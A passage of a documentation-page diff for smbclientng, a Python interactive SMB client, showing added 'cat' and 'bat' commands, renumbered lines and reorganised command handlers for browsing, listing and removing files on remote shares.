    +583        path = ' '.join(arguments)
    +584        if self.smbSession.path_exists(path):
    +585            if self.smbSession.path_isfile(path):
    +586                try:
    +587                    self.smbSession.rm(path=path)
    +588                except Exception as e:
    +589                    print("[!] Error removing file '%s' : %s" % path)
    +590            else:
    +591                print("[!] Cannot delete '%s': This is a directory, use 'rmdir <directory>' instead." % path)
    +592        else:
    +593            print("[!] Remote file '%s' does not exist." % path)
    +594
    +595    @command_arguments_required
    +596    @active_smb_connection_needed
    +597    @smb_share_is_set
    +598    def command_rmdir(self, arguments, command):
    +599        # Command arguments required   : Yes
    +600        # Active SMB connection needed : Yes
    +601        # SMB share needed             : Yes
    +602
    +603        path = ' '.join(arguments)
    +604        if self.smbSession.path_exists(path):
    +605            if self.smbSession.path_isdir(path):
    +606                try:
    +607                    self.smbSession.rmdir(path=path)
    +608                except Exception as e:
    +609                    print("[!] Error removing directory '%s' : %s" % path)
    +610            else:
    +611                print("[!] Cannot delete '%s': This is a file, use 'rm <file>' instead." % path)
    +612        else:
    +613            print("[!] Remote directory '%s' does not exist." % path)
    +614
    +615    @active_smb_connection_needed
    +616    def command_shares(self, arguments, command):
    +617        # Command arguments required   : No
    +618        # Active SMB connection needed : Yes
    +619        # SMB share needed             : No
     620
    -621        for file in os.listdir(modules_dir):
    -622            filepath = os.path.normpath(modules_dir + os.path.sep + file)
    -623            if file.endswith('.py'):
    -624                if os.path.isfile(filepath) and file not in ["__init__.py"]:
    -625                    try:
    -626                        module_file = import_module('smbclientng.modules.%s' % (file[:-3]))
    -627                        module = module_file.__getattribute__(file[:-3])
    -628                        self.modules[module.name.lower()] = module
    -629                    except AttributeError as e:
    -630                        pass
    -631
    -632        if self.config.debug:
    -633            if len(self.modules.keys()) == 0:
    -634                print("[debug] Loaded 0 modules.")
    -635            elif len(self.modules.keys()) == 1:
    -636                print("[debug] Loaded 1 module:")
    -637            else:
    -638                print("[debug] Loaded %d modules:" % len(self.modules.keys()))
    -639            for modulename in sorted(self.modules.keys()):
    -640                print("[debug] %s : \"%s\"" % (module.name, module.description))
    -641
    -642        if self.commandCompleterObject is not None:
    -643            self.commandCompleterObject.commands["module"]["subcommands"] = list(self.modules.keys())
    -644
    -645    def __prompt(self):
    -646        """
    -647        Prints the command prompt for the interactive shell.
    -648
    -649        This method constructs and returns the command prompt string based on the current state of the SMB session.
    -650        The prompt indicates the connection status with a visual symbol and displays the current working directory
    -651        or the SMB share path. The prompt appearance changes based on whether colors are enabled in the configuration.
    +621        shares = self.smbSession.list_shares()
    +622        if len(shares.keys()) != 0:
    +623            table = Table(title=None)
    +624            table.add_column("Share")
    +625            table.add_column("Hidden")
    +626            table.add_column("Type")
    +627            table.add_column("Description", justify="left")
    +628
    +629            for sharename in sorted(shares.keys()):
    +630                is_hidden = bool(sharename.endswith('$'))
    +631                types = ', '.join([s.replace("STYPE_","") for s in shares[sharename]["type"]])
    +632                if is_hidden:
    +633                    table.add_row(sharename, str(is_hidden), types, shares[sharename]["comment"])
    +634                else:
    +635                    table.add_row(sharename, str(is_hidden), types, shares[sharename]["comment"])
    +636
    +637            Console().print(table)
    +638        else:
    +639            print("[!] No share served on '%s'" % self.smbSession.address)
    +640
    +641    @active_smb_connection_needed
    +642    @smb_share_is_set
    +643    def command_tree(self, arguments, command):
    +644        # Command arguments required   : No
    +645        # Active SMB connection needed : Yes
    +646        # SMB share needed             : Yes
    +647
    +648        if len(arguments) == 0:
    +649            self.smbSession.tree(path='.')
    +650        else:
    +651            self.smbSession.tree(path=' '.join(arguments))
     652
    -653        Returns:
    -654            str: The formatted command prompt string.
    -655        """
    -656
    -657        self.smbSession.ping_smb_session()
    -658        if self.smbSession.connected:
    -659            if self.config.no_colors:
    -660                connected_dot = "[v]"
    -661            else:
    -662                connected_dot = "\x1b[1;92m⏺\x1b[0m"
    -663        else:
    -664            if self.config.no_colors:
    -665                connected_dot = "[x]"
    -666            else:
    -667                connected_dot = "\x1b[1;91m⏺\x1b[0m"
    -668        
    -669        if self.smbSession.smb_share is None:
    -670            if self.config.no_colors:
    -671                str_prompt = "%s[\\\\%s\\]> " % (connected_dot, self.smbSession.address)
    -672            else:
    -673                str_prompt = "%s[\x1b[1;94m\\\\%s\\\x1b[0m]> " % (connected_dot, self.smbSession.address)
    -674        else:
    -675            str_path = "\\\\%s\\%s\\%s" % (self.smbSession.address, self.smbSession.smb_share, self.smbSession.smb_cwd.lstrip(ntpath.sep))
    -676            if self.config.no_colors:
    -677                str_prompt = "%s[%s]> " % (connected_dot, str_path)
    -678            else:
    -679                str_prompt = "%s[\x1b[1;94m%s\x1b[0m]> " % (connected_dot, str_path)
    +653    @command_arguments_required
    +654    @active_smb_connection_needed
    +655    def command_use(self, arguments, command):
    +656        # Command arguments required   : Yes
    +657        # Active SMB connection needed : Yes
    +658        # SMB share needed             : No
    +659
    +660        sharename = ' '.join(arguments)
    +661        # Reload the list of shares
    +662        shares = self.smbSession.list_shares()
    +663        shares = [s.lower() for s in shares.keys()]
    +664        if sharename.lower() in shares:
    +665            self.smbSession.set_share(sharename)
    +666        else:
    +667            print("[!] No share named '%s' on '%s'" % (sharename, self.smbSession.address))
    +668
    +669    # Private functions =======================================================
    +670
    +671    def __load_modules(self):
    +672
    +673
    +674        self.modules.clear()
    +675
    +676        modules_dir = os.path.normpath(os.path.dirname(__file__) + os.path.sep + ".." + os.path.sep + "modules")
    +677        if self.config.debug:
    +678            print("[debug] Loading modules from %s ..." % modules_dir)
    +679        sys.path.extend([modules_dir])
     680
    -681        return str_prompt
    +681        for file in os.listdir(modules_dir):
    +682            filepath = os.path.normpath(modules_dir + os.path.sep + file)
    +683            if file.endswith('.py'):
    +684                if os.path.isfile(filepath) and file not in ["__init__.py"]:
    +685                    try:
    +686                        module_file = import_module('smbclientng.modules.%s' % (file[:-3]))
    +687                        module = module_file.__getattribute__(file[:-3])
    +688                        self.modules[module.name.lower()] = module
    +689                    except AttributeError as e:
    +690                        pass
    +691
    +692        if self.config.debug:
    +693            if len(self.modules.keys()) == 0:
    +694                print("[debug] Loaded 0 modules.")
    +695            elif len(self.modules.keys()) == 1:
    +696                print("[debug] Loaded 1 module:")
    +697            else:
    +698                print("[debug] Loaded %d modules:" % len(self.modules.keys()))
    +699            for modulename in sorted(self.modules.keys()):
    +700                print("[debug] %s : \"%s\" (%s)" % (self.modules[modulename].name, self.modules[modulename].description, self.modules[modulename]))
    +701
    +702        if self.commandCompleterObject is not None:
    +703            self.commandCompleterObject.commands["module"]["subcommands"] = list(self.modules.keys())
    +704
    +705    def __prompt(self):
    +706        """
    +707        Prints the command prompt for the interactive shell.
    +708
    +709        This method constructs and returns the command prompt string based on the current state of the SMB session.
    +710        The prompt indicates the connection status with a visual symbol and displays the current working directory
    +711        or the SMB share path. The prompt appearance changes based on whether colors are enabled in the configuration.
    +712
    +713        Returns:
    +714            str: The formatted command prompt string.
    +715        """
    +716
    +717        self.smbSession.ping_smb_session()
    +718        if self.smbSession.connected:
    +719            if self.config.no_colors:
    +720                connected_dot = "[v]"
    +721            else:
    +722                connected_dot = "\x1b[1;92m⏺\x1b[0m"
    +723        else:
    +724            if self.config.no_colors:
    +725                connected_dot = "[x]"
    +726            else:
    +727                connected_dot = "\x1b[1;91m⏺\x1b[0m"
    +728        
    +729        if self.smbSession.smb_share is None:
    +730            if self.config.no_colors:
    +731                str_prompt = "%s[\\\\%s\\]> " % (connected_dot, self.smbSession.address)
    +732            else:
    +733                str_prompt = "%s[\x1b[1;94m\\\\%s\\\x1b[0m]> " % (connected_dot, self.smbSession.address)
    +734        else:
    +735            str_path = "\\\\%s\\%s\\%s" % (self.smbSession.address, self.smbSession.smb_share, self.smbSession.smb_cwd.lstrip(ntpath.sep))
    +736            if self.config.no_colors:
    +737                str_prompt = "%s[%s]> " % (connected_dot, str_path)
    +738            else:
    +739                str_prompt = "%s[\x1b[1;94m%s\x1b[0m]> " % (connected_dot, str_path)
    +740
    +741        return str_prompt
     
    @@ -1586,17 +1710,17 @@

    -
    79    def __init__(self, smbSession, config):
    -80        # Objects
    -81        self.smbSession = smbSession
    -82        self.config = config
    -83        self.commandCompleterObject = CommandCompleter(smbSession=self.smbSession, config=self.config)
    -84        readline.set_completer(self.commandCompleterObject.complete)
    -85        readline.parse_and_bind("tab: complete")
    -86        readline.set_completer_delims("\n")
    -87        # Additional modules
    -88        self.modules = {}
    -89        self.__load_modules()
    +            
    81    def __init__(self, smbSession, config):
    +82        # Objects
    +83        self.smbSession = smbSession
    +84        self.config = config
    +85        self.commandCompleterObject = CommandCompleter(smbSession=self.smbSession, config=self.config)
    +86        readline.set_completer(self.commandCompleterObject.complete)
    +87        readline.parse_and_bind("tab: complete")
    +88        readline.set_completer_delims("\n")
    +89        # Additional modules
    +90        self.modules = {}
    +91        self.__load_modules()
     
    @@ -1658,41 +1782,41 @@

    -
     91    def run(self):
    - 92        running = True
    - 93        while running:
    - 94            try:
    - 95                user_input = input(self.__prompt()).strip().split(" ")
    - 96                command, arguments = user_input[0].lower(), user_input[1:]
    - 97                
    - 98                # Exit the command line
    - 99                if command == "exit":
    -100                    running = False
    -101
    -102                elif command in self.commandCompleterObject.commands.keys():
    -103                    self.process_command(
    -104                        command=command, 
    -105                        arguments=arguments
    -106                    )
    -107
    -108                elif command.strip() == "":
    -109                    pass
    -110
    -111                # Fallback to unknown command
    -112                else:
    -113                    print("Unknown command. Type \"help\" for help.")
    -114
    -115            except KeyboardInterrupt as e:
    -116                print()
    -117
    -118            except EOFError as e:
    -119                print()
    -120                running = False
    -121
    -122            except Exception as e:
    -123                if self.config.debug:
    -124                    traceback.print_exc()
    -125                print("[!] Error: %s" % str(e))
    +            
     93    def run(self):
    + 94        running = True
    + 95        while running:
    + 96            try:
    + 97                user_input = input(self.__prompt()).strip().split(" ")
    + 98                command, arguments = user_input[0].lower(), user_input[1:]
    + 99                
    +100                # Exit the command line
    +101                if command == "exit":
    +102                    running = False
    +103
    +104                elif command in self.commandCompleterObject.commands.keys():
    +105                    self.process_command(
    +106                        command=command, 
    +107                        arguments=arguments
    +108                    )
    +109
    +110                elif command.strip() == "":
    +111                    pass
    +112
    +113                # Fallback to unknown command
    +114                else:
    +115                    print("Unknown command. Type \"help\" for help.")
    +116
    +117            except KeyboardInterrupt as e:
    +118                print()
    +119
    +120            except EOFError as e:
    +121                print()
    +122                running = False
    +123
    +124            except Exception as e:
    +125                if self.config.debug:
    +126                    traceback.print_exc()
    +127                print("[!] Error: %s" % str(e))
     
    @@ -1710,102 +1834,134 @@

    -
    127    def process_command(self, command, arguments=[]):
    -128        # Skip
    -129        if command.strip() == "":
    -130            pass
    -131        
    -132        # Display help
    -133        elif command == "help":
    -134            self.command_help(arguments, command)
    -135
    -136        # Closes the current SMB session
    -137        elif command == "close":
    -138            self.command_close(arguments, command)
    -139               
    -140        # Change directory in the current share
    -141        elif command == "cd":
    -142            self.command_cd(arguments, command)
    -143
    -144        # Get a file
    -145        elif command == "get":
    -146            self.command_get(arguments, command)
    -147
    -148        # SMB server info
    -149        elif command == "info":
    -150            self.command_info(arguments, command)
    -151
    -152        # List directory contents in a share
    -153        elif command in ["ls", "dir"]:
    -154            self.command_ls(arguments, command)
    -155
    -156        # Creates a new remote directory
    -157        elif command == "mkdir":
    -158            self.command_mkdir(arguments, command)
    -159
    -160        # Put a file
    -161        elif command == "put":
    -162            self.command_put(arguments, command)
    -163
    -164        # Changes the current local directory
    -165        elif command == "lcd":
    -166            self.command_lcd(arguments, command)
    -167
    -168        # Lists the contents of the current local directory
    -169        elif command == "lls":
    -170            self.command_lls(arguments, command)
    -171
    -172        # Creates a new local directory
    -173        elif command == "lmkdir":
    -174            self.command_lmkdir(arguments, command)
    -175
    -176        # Shows the current local directory
    -177        elif command == "lpwd":
    -178            self.command_lpwd(arguments, command)
    -179
    -180        # Removes a local file
    -181        elif command == "lrm":
    -182            self.command_lrm(arguments, command)
    -183
    -184        # Removes a local directory
    -185        elif command == "lrmdir":
    -186            self.command_lrmdir(arguments, command)
    -187
    -188        # Shows the current local directory
    -189        elif command == "ltree":
    -190            self.command_ltree(arguments, command)
    -191
    -192        # Modules
    -193        elif command == "module":
    -194            self.command_module(arguments, command)
    -195
    -196        # Reconnects the current SMB session
    -197        elif command in ["connect", "reconnect"]:
    -198            self.command_reconnect(arguments, command)
    -199
    -200        # Reset the TTY output
    -201        elif command == "reset":
    -202            self.command_reset(arguments, command)
    -203
    -204        # Removes a remote file
    -205        elif command == "rm":
    -206            self.command_rm(arguments, command)
    -207            
    -208        # Removes a remote directory
    -209        elif command == "rmdir":
    -210            self.command_rmdir(arguments, command)
    -211
    -212        # List shares
    -213        elif command == "shares":
    -214            self.command_shares(arguments, command)
    -215        
    -216        # Displays a tree view of the CWD
    -217        elif command == "tree":
    -218            self.command_tree(arguments, command)
    -219        
    -220        # Use a share
    -221        elif command == "use":
    -222            self.command_use(arguments, command)
    +            
    129    def process_command(self, command, arguments=[]):
    +130        # Skip
    +131        if command.strip() == "":
    +132            pass
    +133        
    +134        # Display help
    +135        elif command == "help":
    +136            self.command_help(arguments, command)
    +137
    +138        # Cat the contents of a file
    +139        elif command == "bat":
    +140            self.command_bat(arguments, command)
    +141
    +142        # Cat the contents of a file
    +143        elif command == "cat":
    +144            self.command_cat(arguments, command)
    +145
    +146        # Closes the current SMB session
    +147        elif command == "close":
    +148            self.command_close(arguments, command)
    +149               
    +150        # Change directory in the current share
    +151        elif command == "cd":
    +152            self.command_cd(arguments, command)
    +153
    +154        # Get a file
    +155        elif command == "get":
    +156            self.command_get(arguments, command)
    +157
    +158        # SMB server info
    +159        elif command == "info":
    +160            self.command_info(arguments, command)
    +161
    +162        # List directory contents in a share
    +163        elif command in ["ls", "dir"]:
    +164            self.command_ls(arguments, command)
    +165
    +166        # Creates a new remote directory
    +167        elif command == "mkdir":
    +168            self.command_mkdir(arguments, command)
    +169
    +170        # Put a file
    +171        elif command == "put":
    +172            self.command_put(arguments, command)
    +173
    +174        # Changes the current local directory
    +175        elif command == "lcd":
    +176            self.command_lcd(arguments, command)
    +177
    +178        # Lists the contents of the current local directory
    +179        elif command == "lls":
    +180            self.command_lls(arguments, command)
    +181
    +182        # Creates a new local directory
    +183        elif command == "lmkdir":
    +184            self.command_lmkdir(arguments, command)
    +185
    +186        # Shows the current local directory
    +187        elif command == "lpwd":
    +188            self.command_lpwd(arguments, command)
    +189
    +190        # Removes a local file
    +191        elif command == "lrm":
    +192            self.command_lrm(arguments, command)
    +193
    +194        # Removes a local directory
    +195        elif command == "lrmdir":
    +196            self.command_lrmdir(arguments, command)
    +197
    +198        # Shows the current local directory
    +199        elif command == "ltree":
    +200            self.command_ltree(arguments, command)
    +201
    +202        # Modules
    +203        elif command == "module":
    +204            self.command_module(arguments, command)
    +205
    +206        # Reconnects the current SMB session
    +207        elif command in ["connect", "reconnect"]:
    +208            self.command_reconnect(arguments, command)
    +209
    +210        # Reset the TTY output
    +211        elif command == "reset":
    +212            self.command_reset(arguments, command)
    +213
    +214        # Removes a remote file
    +215        elif command == "rm":
    +216            self.command_rm(arguments, command)
    +217            
    +218        # Removes a remote directory
    +219        elif command == "rmdir":
    +220            self.command_rmdir(arguments, command)
    +221
    +222        # List shares
    +223        elif command == "shares":
    +224            self.command_shares(arguments, command)
    +225        
    +226        # Displays a tree view of the CWD
    +227        elif command == "tree":
    +228            self.command_tree(arguments, command)
    +229        
    +230        # Use a share
    +231        elif command == "use":
    +232            self.command_use(arguments, command)
    +
    + + + + +
    +
    + +
    + + def + command_bat(*args, **kwargs): + + + +
    + +
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -1823,13 +1979,37 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
    +
    + + + + +
    +
    + +
    + + def + command_cat(*args, **kwargs): + + + +
    + +
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -1847,14 +2027,14 @@

    -
    240    def command_close(self, arguments, command):
    -241        # Command arguments required   : No
    -242        # Active SMB connection needed : No
    -243        # SMB share needed             : No
    -244
    -245        self.smbSession.ping_smb_session()
    -246        if self.smbSession.connected:
    -247            self.smbSession.close_smb_session()
    +            
    300    def command_close(self, arguments, command):
    +301        # Command arguments required   : No
    +302        # Active SMB connection needed : No
    +303        # SMB share needed             : No
    +304
    +305        self.smbSession.ping_smb_session()
    +306        if self.smbSession.connected:
    +307            self.smbSession.close_smb_session()
     
    @@ -1872,13 +2052,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -1896,15 +2076,15 @@

    -
    272    def command_help(self, arguments, command):
    -273        # Command arguments required   : No
    -274        # Active SMB connection needed : No
    -275        # SMB share needed             : No
    -276
    -277        if len(arguments) != 0:
    -278            self.commandCompleterObject.print_help(command=arguments[0])
    -279        else:
    -280            self.commandCompleterObject.print_help(command=None)
    +            
    332    def command_help(self, arguments, command):
    +333        # Command arguments required   : No
    +334        # Active SMB connection needed : No
    +335        # SMB share needed             : No
    +336
    +337        if len(arguments) != 0:
    +338            self.commandCompleterObject.print_help(command=arguments[0])
    +339        else:
    +340            self.commandCompleterObject.print_help(command=None)
     
    @@ -1922,15 +2102,15 @@

    -
    37    def wrapper(*args, **kwargs):
    -38        self, arguments,command  = args[0], args[1], args[2]
    -39        #
    -40        self.smbSession.ping_smb_session()
    -41        if self.smbSession.connected:
    -42            return func(*args, **kwargs)
    -43        else:
    -44            print("[!] SMB Session is disconnected.")
    -45            return None
    +            
    39    def wrapper(*args, **kwargs):
    +40        self, arguments,command  = args[0], args[1], args[2]
    +41        #
    +42        self.smbSession.ping_smb_session()
    +43        if self.smbSession.connected:
    +44            return func(*args, **kwargs)
    +45        else:
    +46            print("[!] SMB Session is disconnected.")
    +47            return None
     
    @@ -1948,13 +2128,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -1972,46 +2152,46 @@

    -
    320    def command_lls(self, arguments, command):
    -321        # Command arguments required   : No
    -322        # Active SMB connection needed : No
    -323        # SMB share needed             : No
    -324
    -325        if len(arguments) == 0:
    -326            path = '.'
    -327        else:
    -328            path = ' '.join(arguments)
    -329
    -330        # lls <directory>
    -331        if os.path.isdir(path):
    -332            directory_contents = os.listdir(path=path)
    -333            for entryname in sorted(directory_contents):
    -334                path_to_file = path + os.path.sep + entryname
    -335                rights_str = unix_permissions(path_to_file)
    -336                size_str = b_filesize(os.path.getsize(filename=path_to_file))
    -337                date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path_to_file)).strftime("%Y-%m-%d %H:%M")
    -338
    -339                if os.path.isdir(s=entryname):
    -340                    if self.config.no_colors:
    -341                        print("%s %10s  %s  %s%s" % (rights_str, size_str, date_str, entryname, os.path.sep))
    -342                    else:
    -343                        print("%s %10s  %s  \x1b[1;96m%s\x1b[0m%s" % (rights_str, size_str, date_str, entryname, os.path.sep))
    -344                else:
    -345                    if self.config.no_colors:
    -346                        print("%s %10s  %s  %s" % (rights_str, size_str, date_str, entryname))
    -347                    else:
    -348                        print("%s %10s  %s  \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, entryname))
    -349        # lls <file>
    -350        elif os.path.isfile(path):
    -351            rights_str = unix_permissions(path)
    -352            size_str = b_filesize(os.path.getsize(filename=path))
    -353            date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path)).strftime("%Y-%m-%d %H:%M")
    -354            if self.config.no_colors:
    -355                print("%s %10s  %s  %s" % (rights_str, size_str, date_str, os.path.basename(path)))
    -356            else:
    -357               print("%s %10s  %s  \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, os.path.basename(path))) 
    -358        else:
    -359            print("[!] No such file or directory.")
    +            
    380    def command_lls(self, arguments, command):
    +381        # Command arguments required   : No
    +382        # Active SMB connection needed : No
    +383        # SMB share needed             : No
    +384
    +385        if len(arguments) == 0:
    +386            path = '.'
    +387        else:
    +388            path = ' '.join(arguments)
    +389
    +390        # lls <directory>
    +391        if os.path.isdir(path):
    +392            directory_contents = os.listdir(path=path)
    +393            for entryname in sorted(directory_contents):
    +394                path_to_file = path + os.path.sep + entryname
    +395                rights_str = unix_permissions(path_to_file)
    +396                size_str = b_filesize(os.path.getsize(filename=path_to_file))
    +397                date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path_to_file)).strftime("%Y-%m-%d %H:%M")
    +398
    +399                if os.path.isdir(s=entryname):
    +400                    if self.config.no_colors:
    +401                        print("%s %10s  %s  %s%s" % (rights_str, size_str, date_str, entryname, os.path.sep))
    +402                    else:
    +403                        print("%s %10s  %s  \x1b[1;96m%s\x1b[0m%s" % (rights_str, size_str, date_str, entryname, os.path.sep))
    +404                else:
    +405                    if self.config.no_colors:
    +406                        print("%s %10s  %s  %s" % (rights_str, size_str, date_str, entryname))
    +407                    else:
    +408                        print("%s %10s  %s  \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, entryname))
    +409        # lls <file>
    +410        elif os.path.isfile(path):
    +411            rights_str = unix_permissions(path)
    +412            size_str = b_filesize(os.path.getsize(filename=path))
    +413            date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path)).strftime("%Y-%m-%d %H:%M")
    +414            if self.config.no_colors:
    +415                print("%s %10s  %s  %s" % (rights_str, size_str, date_str, os.path.basename(path)))
    +416            else:
    +417               print("%s %10s  %s  \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, os.path.basename(path))) 
    +418        else:
    +419            print("[!] No such file or directory.")
     
    @@ -2029,13 +2209,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -2053,12 +2233,12 @@

    -
    381    def command_lpwd(self, arguments, command):
    -382        # Command arguments required   : No
    -383        # Active SMB connection needed : No
    -384        # SMB share needed             : No
    -385
    -386        print(os.getcwd())
    +            
    441    def command_lpwd(self, arguments, command):
    +442        # Command arguments required   : No
    +443        # Active SMB connection needed : No
    +444        # SMB share needed             : No
    +445
    +446        print(os.getcwd())
     
    @@ -2076,13 +2256,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -2100,13 +2280,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -2124,15 +2304,15 @@

    -
    424    def command_ltree(self, arguments, command):
    -425        # Command arguments required   : No
    -426        # Active SMB connection needed : No
    -427        # SMB share needed             : No
    -428
    -429        if len(arguments) == 0:
    -430            local_tree(path='.', config=self.config)
    -431        else:
    -432            local_tree(path=' '.join(arguments), config=self.config)
    +            
    484    def command_ltree(self, arguments, command):
    +485        # Command arguments required   : No
    +486        # Active SMB connection needed : No
    +487        # SMB share needed             : No
    +488
    +489        if len(arguments) == 0:
    +490            local_tree(path='.', config=self.config)
    +491        else:
    +492            local_tree(path=' '.join(arguments), config=self.config)
     
    @@ -2150,15 +2330,15 @@

    -
    37    def wrapper(*args, **kwargs):
    -38        self, arguments,command  = args[0], args[1], args[2]
    -39        #
    -40        self.smbSession.ping_smb_session()
    -41        if self.smbSession.connected:
    -42            return func(*args, **kwargs)
    -43        else:
    -44            print("[!] SMB Session is disconnected.")
    -45            return None
    +            
    39    def wrapper(*args, **kwargs):
    +40        self, arguments,command  = args[0], args[1], args[2]
    +41        #
    +42        self.smbSession.ping_smb_session()
    +43        if self.smbSession.connected:
    +44            return func(*args, **kwargs)
    +45        else:
    +46            print("[!] SMB Session is disconnected.")
    +47            return None
     
    @@ -2176,13 +2356,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -2200,13 +2380,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -2224,13 +2404,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -2248,17 +2428,17 @@

    -
    494    def command_reconnect(self, arguments, command):
    -495        # Command arguments required   : No
    -496        # Active SMB connection needed : No
    -497        # SMB share needed             : No
    -498
    -499        self.smbSession.ping_smb_session()
    -500        if self.smbSession.connected:
    -501            self.smbSession.close_smb_session()
    -502            self.smbSession.init_smb_session()
    -503        else:
    -504            self.smbSession.init_smb_session()
    +            
    554    def command_reconnect(self, arguments, command):
    +555        # Command arguments required   : No
    +556        # Active SMB connection needed : No
    +557        # SMB share needed             : No
    +558
    +559        self.smbSession.ping_smb_session()
    +560        if self.smbSession.connected:
    +561            self.smbSession.close_smb_session()
    +562            self.smbSession.init_smb_session()
    +563        else:
    +564            self.smbSession.init_smb_session()
     
    @@ -2276,14 +2456,14 @@

    -
    506    def command_reset(self, arguments, command):
    -507        # Command arguments required   : No
    -508        # Active SMB connection needed : No
    -509        # SMB share needed             : No
    -510        sys.stdout.write('\x1b[?25h') # Sets the cursor to on
    -511        sys.stdout.write('\x1b[v')  
    -512        sys.stdout.write('\x1b[o') # Reset
    -513        sys.stdout.flush()
    +            
    566    def command_reset(self, arguments, command):
    +567        # Command arguments required   : No
    +568        # Active SMB connection needed : No
    +569        # SMB share needed             : No
    +570        sys.stdout.write('\x1b[?25h') # Sets the cursor to on
    +571        sys.stdout.write('\x1b[v')  
    +572        sys.stdout.write('\x1b[o') # Reset
    +573        sys.stdout.flush()
     
    @@ -2301,13 +2481,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -2325,13 +2505,13 @@
